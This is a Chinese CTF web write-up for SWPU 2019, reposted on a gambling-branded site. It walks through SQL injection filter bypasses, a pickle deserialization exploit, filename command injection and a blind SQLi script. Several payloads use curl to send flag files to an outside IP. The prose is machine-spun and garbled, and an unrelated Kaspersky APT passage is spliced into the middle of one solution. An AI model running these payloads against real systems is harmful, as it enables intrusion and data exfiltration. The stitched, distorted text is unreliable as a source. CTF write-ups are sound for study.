欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_行业观察正文

2019 SWPU CTF Web Writeup

b9e08c31ae1faa592019-12-10159Web安全

媒介

12月竞赛有点少,手有点生了,发明SWPU又入手下手了,还记得客岁质量挺高的,因而来玩玩,下面是web的解题纪录。

easy_web

随意注册一个用户进入,发明有广告发送的处所,顺手测试:

点入发明触发了sql报错:

2019 SWPU CTF Web Writeup  Web安全 第1张

顺手又试了一下:

2019 SWPU CTF Web Writeup  Web安全 第2张

发明确切能够闭合:

2019 SWPU CTF Web Writeup  Web安全 第3张

起首尝试团结查询注入:

 
exp:
0' union select  1,2,3,'a'='a
waf:
0'unionselect1,2,3,'a'='a

发明空格会被替换成空,因而尝试用以下体式格局bypass:

0'/**/union/**/select/**/1,2,3,'a'='a

但发明列数过量,随机摒弃这个要领,挑选报错注入:

1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a

测试过程当中发明,or被过滤,我们没法猎取表名和列名,那末起首检察一下mysql版本:

1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/version()),0x7e))/**/||'a'='a

发明版本很高,思索mysql新特征:

select/**/table_name/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()

但发明mysql被过滤,继承查找新特征:

sys.schema_auto_increment_columns

爆表:

尝试爆表:

1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a

2019 SWPU CTF Web Writeup  Web安全 第4张

发明胜利猎取表名,然则没法爆列名,然则能够运用无列名注入:

select i.1 from (select 1,2,3 union select * from flag)i

即可无需列名注入指定列数据:

1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a

发明第二列是flag,那末注第3列:

1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a

2019 SWPU CTF Web Writeup  Web安全 第5张

胜利猎取flag:

swpuctf{Simple_Double_Injectin}

python简朴题

随意注册一个账户登入:

随意读一个内容:

2019 SWPU CTF Web Writeup  Web安全 第6张

那末不难想到,就是组织序列化,照顾session接见时触发,举行恣意敕令实行。

检察本身的session:

2019 SWPU CTF Web Writeup  Web安全 第7张

那末应用剧本写入一个session:

 
#!/usr/bin/env python
#
import cPickle
import os
import redis
class exp(object):
    def __reduce__(self):
        s = """curl -d '@/flag' 106.14.114.127:23333"""
        return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='114.67.109.247', port=6379, db=0, password='password')
r.set("session:1013122a-70cc-4251-b3e0-05d5731b3ae3", s)

然后革新页面,flag即可取得:

swpuctf{[email protected]}

easy_python

进入题目,发明有上传功用,但显现权限不足:

Permission denied!

那末猜测需要捏造session:

{"id":{" b":"100"},"is_login":true,"password":"sss","username":"sss"}

那末明显需要将本身捏形成id为1的用户,然则要捏造session,必需要secretkey,那末尝试模板注入:

发明response中有

SWPUCTF_CSRF_Token: U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

解码后获得:

卡巴斯基:APT构造2019行动大清点(上) 在即将过去的2019年,APT组织又做了哪些恶?它们的发展动向是什么?我们又能从其中挖掘出怎样的规律?这些问题想要直白回答并不容易,因为研究人员不可能完全了解所有攻击事件及它们背后的发展动机,但我们可以试着从不同的角度来处理这个问题,以便更好地理解所发生的事情,并从中获得后见之明。 供应链攻击 近年来,供应链攻击是最危险和有效的感染途径之一,越来越多地被用于高级攻击行动中——其中最知名的要当属ShadowPad后门、勒索软件ExPetr和被后门化的工具CCleaner。这种攻击针对了产品生命周期中,从初始开发阶段到最终用户的各个环节,涉及人力、组织、物资和智力资源的种种。哪怕供应商
SECRET_KEY:[email protected]#$%^&*

因而举行session捏造:

.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.XekyGw.wYomzVd7LK9ea7WN-mZaQ0gldjg

即可进入文件上传功用:

发明能够胜利恣意文件读取,读取了:

 
/proc/self/maps
/proc/self/cwd
/proc/self/cmdline
....

发明都没找到途径,效果F12,发明源码写在解释里……喷血= =。

 
@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')
@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

发明敏感点:

 
   try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
                return 'error'
            os.system(cmd)

此处我们能够举行敕令注入,跟踪path和pathname:

 
    f=request.files['file']
    basepath=os.path.dirname(os.path.realpath(__file__))
    path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
    path_base = basepath+'/upload/'+md5_ip+'/'
    filename = f.filename
    pathname = path+filename

发明文件名能够举行敕令注入,因而测试:

filename="$(curl vps_ip:23333).zip"

发明能够收到要求,尝试外带数据:

$(curl 106.14.114.127:23333 -T `pwd`).zip

那末尝试读取flag:

./flag/flag.jpg

然则遇到问题

 
if unzip_filename.find('/') != -1:
if cmd.find('|') != -1 or cmd.find(';') != -1:

我们发明过滤了一些症结标记,那末只能尝试组织标记,随意搜一个ascii转字符的敕令:

https://blog.csdn.net/c20130911/article/details/73187757

即可举行字符转换:

那末我们捏造/:

那末组织exp:

$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)

将图片带出后,做一些修正,删除FFD8前的数据,翻开即可获得flag:

 

2019 SWPU CTF Web Writeup  Web安全 第8张

demo_mvc

发明竞赛太晚,做的时刻已经有hint了:

无需扫描 hint:PDO::query

那末不难想到,应该是有注入了:

关于PDO,我起首想到的是堆叠注入,随机测试一下:

select sleep(5)

2019 SWPU CTF Web Writeup  Web安全 第9张

发明胜利sleep 5秒,那末尝试爆库爆表爆字段:

起首测试:

 
select if((ascii(substr((database()),1,1))>-1),sleep(5),1)
{"username":"sss';SET @aaa=0x73656c6563742069662828617363696928737562737472282864617461626173652829292c312c3129293e2d31292c736c6565702835292c3129;PREPARE test FROM @aaa;EXECUTE test;","password":"sss'"}

发明胜利sleep 5秒,随后测试payload:

 
select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))>-1),sleep(5),1)
{"username":"sss';SET @aaa=0x73656c6563742069662828617363696928737562737472282873656c6563742067726f75705f636f6e636174285441424c455f4e414d45292066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d64617461626173652829292c312c3129293e2d31292c736c6565702835292c3129;PREPARE test FROM @aaa;EXECUTE test;","password":"sss'"}

发明照旧胜利sleep 5秒,那末入手下手编写exp:

 
import requests
exp = '''{"username":"sss';SET @aaa=0x%s;PREPARE test FROM @aaa;EXECUTE test;","password":"sss'"}'''
#payload = 'select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(5),1)'
#payload = 'select if((ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x666C6167),%s,1))=%s),sleep(5),1)'
payload = 'select if((ascii(substr((select flag from flag limit 0,1),%s,1))=%s),sleep(5),1)'
url = 'http://182.92.220.157:11116/index.php?r=Login/Login'
res = ''
for i in range(1,100):
print i
for j in range(32,127):
now_payload = payload %(i,j)
now_exp = exp % now_payload.encode('hex')
try:
r = requests.post(url=url,data=now_exp,timeout=4.5)
except:
res +=chr(j)
print res

获得表名:

flag,user

flag表中列名:

flag

因而读取数据,获得:

AmOL#T.zip

下载后发明是代码审计。

View/userIndex.php

发明文件读取:

组织:

http://182.92.220.157:11116/index.php?r=User/Index&img_file=/../flag.php

即可猎取flag:

获得flag:

swpuctf{[email protected]_a_g00d_t1me_durin9_swpuctf2019}

跋文

做了4道题,末了一题看是java xxe,预计要连系一个特征,本身对java不是很熟,就不去肝了。不过前4题做下来,觉得难度比往年低了不少。

原文地点: https://www.4hou.com/web/21991.html

网友评论